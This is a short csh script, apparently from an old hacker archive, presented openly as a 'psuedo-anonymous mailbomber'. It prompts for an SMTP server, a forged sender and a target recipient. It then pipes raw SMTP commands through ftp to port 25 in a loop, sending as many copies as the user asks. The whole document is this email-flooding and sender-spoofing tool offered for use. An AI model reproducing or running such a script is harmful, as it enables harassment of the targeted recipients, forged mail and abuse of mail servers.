# A Very SLOW and psuedo-anonymous mailbomber.  I mailed myself two letters
# and it took about 60 seconds to run, and then 15 minutres for them to 
# show up in my mailbox.  Make your own judgements....


#!/bin/csh
# Anonymous Mailbomber
#do chmod u+rwx <filename> where filename is the name of the file that you saved
# it as.
#*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED "teltemp"
# IN THE DIRECTORY IT IS RUN FROM ****

clear
echo -n "What is the name or address of the smtp server ?"
set server = $<
#echo open $server 25 > teltemp
echo quote helo somewhere.com >> teltemp

#The entry for the following should be a single name (goober),
#not goober@internet.address. 
echo -n "Who will this be from (e.g. somebody) ?"
set from = $<
echo quote mail from: $from >> teltemp

echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
set name = $<
echo quote rcpt to: $name >> teltemp
echo quote data >> teltemp
echo quote . >> teltemp
echo quote quit >> teltemp
echo quit >> teltemp

echo -n "How many times should it be sent ?"
set amount = $<
set loop_count = 1

while ($loop_count <= $amount)
	echo "Done $loop_count"
	ftp -n $server 25 < teltemp
	@ loop_count++
end

rm ./teltemp
echo $amount e-mails complete to $name from $from@$server



